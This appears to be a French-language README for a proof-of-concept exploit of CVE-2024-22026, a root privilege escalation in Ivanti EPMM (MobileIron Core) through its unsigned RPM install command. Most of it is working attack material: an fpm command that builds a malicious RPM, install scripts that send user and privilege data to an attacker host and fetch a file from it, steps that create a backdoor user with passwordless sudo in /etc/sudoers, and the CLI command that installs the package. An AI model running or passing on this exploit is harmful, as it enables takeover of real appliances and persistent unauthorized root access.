
Exploit POC pour CVE-2024-22026 affectant Ivanti EPMM « MobileIron Core »
POC d'exploitation pour CVE-2024-22026 affectant Ivanti EPMM « MobileIron Core »

CVE-2024-22026 est une vulnérabilité d'élévation de privilèges locale dans les versions du serveur Ivanti EPMM (anciennement MobileIron) antérieures à 12.1.0.0, 12.0.0.0 et 11.12.0.1. Cette vulnérabilité permet à un attaquant local d'obtenir un accès root au système en exploitant le processus de mise à jour logicielle avec un paquet RPM malveillant provenant d'une URL distante.
Lisez l'article de blog complet pour des informations techniques détaillées : Exploiting CVE-2024-22026: Rooting Ivanti EPMM (MobileIron Core)
Lors de nos recherches, nous avons découvert que l'appliance utilise la commande suivante pour récupérer et installer des paquets RPM en tant qu'utilisateur à faibles privilèges :
install rpm url <remote url>
Cette commande ci-dessus n'est qu'un wrapper CLI pour l'exécution suivante, qui s'exécute en tant que root :
/bin/rpm -Uvh *.rpm
Cette commande rpm sous-jacente n'impose aucune vérification de signature ni filtrage d'URL, ce qui signifie que n'importe quel paquet RPM peut être installé. Cela permet à un attaquant de forger et de livrer un paquet RPM malveillant pouvant compromettre l'appliance.
La commande suivante est utilisée pour créer un paquet RPM malveillant :
fpm -s dir -t rpm -n ivanti-privesc -v 13.37 -a i386 --description "Ivanti POC" --maintainer "exploit-poc" --before-install preinstall.sh --after-install postinstall.sh -C .
preinstall.sh)#!/bin/sh
curl -O http://<attacker_IP>/poc
exit 0
postinstall.sh)#!/bin/sh
set -e # Enable strict error checking
# Report back current user and privilege level
CURRENT_USER=$(whoami | base64)
PRIV_LEVEL=$(id -u | base64)
curl http://<attacker_IP>/poc?user=$CURRENT_USER
curl http://<attacker_IP>/poc?priv=$PRIV_LEVEL
# Create a new root user
if ! useradd -s /bin/sh -m exploit-poc; then
echo "Failed to add user 'exploit-poc'" >&2
exit 1
fi
echo "exploit-poc:<redacted_password>" | chpasswd
# Grant root privileges
if ! echo "exploit-poc ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; then
echo "Failed to modify sudoers file" >&2
exit 1
fi
exit 0
Pour exploiter la vulnérabilité, l'attaquant exécuterait la commande suivante dans le CLI pour récupérer et installer le RPM malveillant :
install rpm url http://<attacker_IP>/ivanti-privesc-13.37-1.i386.rpm
Ivanti a publié des correctifs pour résoudre CVE-2024-22026 dans les versions suivantes :
Ce dépôt et son contenu sont destinés uniquement à des fins éducatives et de recherche. L'utilisation des informations contenues ici se fait à vos propres risques.